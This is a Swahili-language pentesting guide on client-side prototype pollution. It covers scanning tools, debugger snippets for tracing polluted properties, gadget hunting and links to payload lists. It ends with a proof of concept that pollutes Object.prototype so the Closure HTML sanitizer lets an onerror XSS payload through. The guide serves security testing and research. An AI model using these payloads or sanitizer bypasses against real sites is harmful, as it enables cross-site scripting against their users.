Uchafuzi wa Prototype upande wa Mteja

Reading time: 5 minutes

Kugundua kwa kutumia Zana za Kiotomatiki

Zana https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap na https://github.com/kosmosec/proto-find zinaweza kutumika kupata udhaifu wa uchafuzi wa prototype.

Zaidi ya hayo, unaweza pia kutumia nyongeza ya kivinjari PPScan ku scan kiotomatiki kurasa unazofikia kwa udhaifu wa uchafuzi wa prototype.

Kurekebisha mahali ambapo mali inatumika

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})

Kupata sababu ya msingi ya Prototype Pollution

Mara tu udhaifu wa prototype pollution unapogundulika na zana yoyote, na ikiwa msimbo si mgumu kupita kiasi, unaweza kupata udhaifu kwa kutafuta maneno muhimu kama location.hash, decodeURIComponent, au location.search katika Chrome Developer Tools. Njia hii inakuwezesha kubaini sehemu iliyo hatarini ya msimbo wa JavaScript.

Kwa misimbo mikubwa na ngumu zaidi, njia rahisi ya kugundua msimbo ulio hatarini inajumuisha hatua zifuatazo:

1. Tumia zana kubaini udhaifu na kupata payload iliyoundwa kuweka mali katika mjenzi. Mfano uliopewa na ppmap unaweza kuonekana kama: constructor[prototype][ppmap]=reserved.
2. Weka breakpoint kwenye mstari wa kwanza wa msimbo wa JavaScript utakaotekelezwa kwenye ukurasa. Fanya upya ukurasa na payload, ukisimamisha utekelezaji kwenye breakpoint hii.
3. Wakati utekelezaji wa JavaScript umesimamishwa, tekeleza script ifuatayo katika JS console. Script hii itatoa ishara wakati mali ya 'ppmap' inaundwa, kusaidia katika kutafuta asili yake:

function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}

debugAccess(Object.prototype, "ppmap")

4. Rudi kwenye tab ya Sources na uchague "Resume script execution". JavaScript itaendelea kutekelezwa, na mali ya 'ppmap' itachafuka kama inavyotarajiwa. Kutumia kipande kilichotolewa husaidia kutambua mahali halisi ambapo mali ya 'ppmap' inachafuka. Kwa kuchunguza Call Stack, stacks tofauti ambapo uchafuzi ulitokea zinaweza kuonekana.

Unapofanya maamuzi kuhusu stack ipi uchunguze, mara nyingi ni muhimu kulenga stacks zinazohusiana na faili za maktaba za JavaScript, kwani uchafuzi wa prototype hutokea mara nyingi ndani ya maktaba hizi. Tambua stack husika kwa kuchunguza kiambatisho chake kwa faili za maktaba (inaonekana upande wa kulia, kama picha iliyotolewa kwa mwongozo). Katika hali zenye stacks nyingi, kama zile kwenye mistari 4 na 6, chaguo la mantiki ni stack kwenye mstari wa 4, kwani inawakilisha tukio la awali la uchafuzi na hivyo sababu ya msingi ya udhaifu. Kubofya kwenye stack kutakupeleka kwenye msimbo ulio hatarini.

Kutafuta Gadget za Script

Gadget ni msimbo ambao utakabiliwa mara tu udhaifu wa PP utakapogundulika.

Ikiwa programu ni rahisi, tunaweza kutafuta maneno muhimu kama srcdoc/innerHTML/iframe/createElement na kupitia msimbo wa chanzo na kuangalia ikiwa inaleta utendaji wa javascript. Wakati mwingine, mbinu zilizotajwa zinaweza kutopata gadgets kabisa. Katika hali hiyo, kupitia msimbo wa chanzo wa safi kunaweza kufichua gadgets nzuri kama mfano ulio hapa chini.

Mfano wa Kupata gadget ya PP katika msimbo wa maktaba ya Mithil

Angalia andiko hili: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Urejeleaji wa payloads kwa maktaba zilizo hatarini

• https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution
• https://github.com/BlackFan/client-side-prototype-pollution

Kupita kwa HTML Sanitizers kupitia PP

Utafiti huu unaonyesha gadgets za PP za kutumia ili kupita sanizations zinazotolewa na baadhi ya maktaba za HTML sanitizers:

• sanitize-html

• dompurify

• Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Marejeo

• https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746
• https://blog.s1r1us.ninja/research/PP
• https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/#:~:text=my%20challenge.-,Closure,-Closure%20Sanitizer%20has